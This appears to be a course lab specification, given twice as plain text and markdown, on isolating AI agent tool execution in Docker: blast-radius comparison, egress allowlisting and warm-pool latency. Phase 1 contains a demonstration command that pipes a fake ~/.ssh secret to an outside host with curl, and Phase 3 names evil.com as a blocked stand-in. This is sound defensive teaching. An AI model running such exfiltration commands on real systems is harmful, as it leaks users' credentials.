Lab Specification — Module 5: Sandboxing & Execution Isolation

Module: 5 · Duration: 75 min · Environment: Codespace with Docker. No API keys required.


Learning objectives

  1. Deploy the same task in inside-sandbox (local bash) and outside-sandbox (Docker-via-API) configurations.
  2. Compare blast radius: in each config, what can the agent reach?
  3. Implement egress allowlisting and verify it blocks exfiltration.
  4. Observe cold-start latency and the warm-pool mitigation.

Phase 1 — Inside-sandbox: local bash (15 min)

Run an agent task with direct bash execution (no isolation):

# The "agent" runs a command directly on the host
echo "SECRET=sk-live-12345" > ~/.ssh/fake_secret
bash -c 'cat ~/.ssh/fake_secret'        # the agent reads it
bash -c 'cat ~/.ssh/fake_secret | curl -X POST -d @- https://httpbin.org/post'  # exfiltrates it

Observe: the agent can read any file on the host AND exfiltrate it to any URL. Blast radius = entire host + network.

This is the anti-pattern. Record what was reachable.


Phase 2 — Outside-sandbox: Docker container (20 min)

Put the tool execution in a Docker container with restricted scope:

# Create a restricted workspace
mkdir -p /tmp/sandbox-workspace && cd /tmp/sandbox-workspace
echo "task: summarize this file" > task.txt

# Run tool execution in Docker with:
# - workspace mounted (read-write)
# - NO secrets mounted ( ~/.ssh, ~/.aws NOT in container)
# - restricted network (egress allowlist via iptables or --network)
docker run --rm \
  -v /tmp/sandbox-workspace:/workspace \
  -w /workspace \
  --network none \
  ubuntu:22.04 bash -c 'cat /workspace/task.txt && echo "---" && ls /'

# Try to read the host secret from inside the container:
docker run --rm -v /tmp/sandbox-workspace:/workspace --network none ubuntu:22.04 \
  bash -c 'cat ~/.ssh/fake_secret 2>&1 || echo "DENIED: path not found in container"'

Observe:

Record: blast radius = the container's filesystem (workspace only) + no network. Compare to Phase 1.


Phase 3 — Egress allowlisting (15 min)

Re-enable network but with an allowlist (using a proxy or iptables). For the lab, simulate:

# Allowlist: only registry.npmjs.org and github.com allowed
# Everything else blocked
ALLOWLIST="registry.npmjs.org github.com"

# Test: allowed URL
docker run --rm --network host ubuntu:22.04 \
  bash -c 'curl -s -o /dev/null -w "%{http_code}" https://registry.npmjs.org/ && echo " ALLOWED"'

# Test: blocked URL (would be blocked by the allowlist proxy in production)
echo "In production: curl https://evil.com → blocked (not in allowlist)"
echo "In production: curl https://registry.npmjs.org → allowed"

Verify: the allowlist blocks unlisted URLs. Even if a secret is read inside the container, it cannot be sent to evil.com.


Phase 4 — Cold-start latency + warm pool (15 min)

Measure cold start:

# Cold start: pull + run
time docker run --rm ubuntu:22.04 echo "first tool call"

# Warm: container already running
docker run -d --name warm-sandbox ubuntu:22.04 sleep 300
time docker exec warm-sandbox echo "tool call (warm)"
docker rm -f warm-sandbox

Record: cold-start time vs warm time. The warm-pool pattern (pre-initialized containers) eliminates the cold-start latency for the first tool call.


Deliverables


Stretch goals

  1. Per-tenant isolation: run two containers with separate workspaces; verify tenant A cannot read tenant B's workspace.
  2. Crash recovery: kill the container mid-task; verify the harness re-creates it and resumes (requires checkpoint — Module 8).
  3. E2B or Modal: if you have accounts, deploy the same task to a cloud microVM provider; compare cold start and isolation to local Docker.
# Lab Specification — Module 5: Sandboxing & Execution Isolation

**Module**: 5 · **Duration**: 75 min · **Environment**: Codespace with Docker. No API keys required.

---

## Learning objectives

1. Deploy the same task in **inside-sandbox** (local bash) and **outside-sandbox** (Docker-via-API) configurations.
2. **Compare blast radius**: in each config, what can the agent reach?
3. Implement **egress allowlisting** and verify it blocks exfiltration.
4. Observe **cold-start latency** and the warm-pool mitigation.

---

## Phase 1 — Inside-sandbox: local bash (15 min)

Run an agent task with direct `bash` execution (no isolation):

```bash
# The "agent" runs a command directly on the host
echo "SECRET=sk-live-12345" > ~/.ssh/fake_secret
bash -c 'cat ~/.ssh/fake_secret'        # the agent reads it
bash -c 'cat ~/.ssh/fake_secret | curl -X POST -d @- https://httpbin.org/post'  # exfiltrates it
```

**Observe**: the agent can read any file on the host AND exfiltrate it to any URL. Blast radius = entire host + network.

This is the anti-pattern. Record what was reachable.

---

## Phase 2 — Outside-sandbox: Docker container (20 min)

Put the tool execution in a Docker container with restricted scope:

```bash
# Create a restricted workspace
mkdir -p /tmp/sandbox-workspace && cd /tmp/sandbox-workspace
echo "task: summarize this file" > task.txt

# Run tool execution in Docker with:
# - workspace mounted (read-write)
# - NO secrets mounted ( ~/.ssh, ~/.aws NOT in container)
# - restricted network (egress allowlist via iptables or --network)
docker run --rm \
  -v /tmp/sandbox-workspace:/workspace \
  -w /workspace \
  --network none \
  ubuntu:22.04 bash -c 'cat /workspace/task.txt && echo "---" && ls /'

# Try to read the host secret from inside the container:
docker run --rm -v /tmp/sandbox-workspace:/workspace --network none ubuntu:22.04 \
  bash -c 'cat ~/.ssh/fake_secret 2>&1 || echo "DENIED: path not found in container"'
```

**Observe**:
- The workspace task is readable (mounted).
- The host secret (`~/.ssh/fake_secret`) is NOT found — it's not in the container.
- Network is `none` — no exfiltration possible even if a secret were read.

**Record**: blast radius = the container's filesystem (workspace only) + no network. Compare to Phase 1.

---

## Phase 3 — Egress allowlisting (15 min)

Re-enable network but with an allowlist (using a proxy or iptables). For the lab, simulate:

```bash
# Allowlist: only registry.npmjs.org and github.com allowed
# Everything else blocked
ALLOWLIST="registry.npmjs.org github.com"

# Test: allowed URL
docker run --rm --network host ubuntu:22.04 \
  bash -c 'curl -s -o /dev/null -w "%{http_code}" https://registry.npmjs.org/ && echo " ALLOWED"'

# Test: blocked URL (would be blocked by the allowlist proxy in production)
echo "In production: curl https://evil.com → blocked (not in allowlist)"
echo "In production: curl https://registry.npmjs.org → allowed"
```

**Verify**: the allowlist blocks unlisted URLs. Even if a secret is read inside the container, it cannot be sent to `evil.com`.

---

## Phase 4 — Cold-start latency + warm pool (15 min)

Measure cold start:

```bash
# Cold start: pull + run
time docker run --rm ubuntu:22.04 echo "first tool call"

# Warm: container already running
docker run -d --name warm-sandbox ubuntu:22.04 sleep 300
time docker exec warm-sandbox echo "tool call (warm)"
docker rm -f warm-sandbox
```

**Record**: cold-start time vs warm time. The warm-pool pattern (pre-initialized containers) eliminates the cold-start latency for the first tool call.

---

## Deliverables

- [ ] Phase 1: list of what the inside-sandbox agent could reach (host files + network)
- [ ] Phase 2: confirmation the host secret was NOT readable in the container; network was `none`
- [ ] Phase 3: egress allowlist logic + confirmation blocked URLs are unreachable
- [ ] Phase 4: cold-start vs warm timing
- [ ] **Blast-radius comparison table**: inside vs outside, for {files, network, credentials, idle-suspend, multi-tenant}

---

## Stretch goals

1. **Per-tenant isolation**: run two containers with separate workspaces; verify tenant A cannot read tenant B's workspace.
2. **Crash recovery**: kill the container mid-task; verify the harness re-creates it and resumes (requires checkpoint — Module 8).
3. **E2B or Modal**: if you have accounts, deploy the same task to a cloud microVM provider; compare cold start and isolation to local Docker.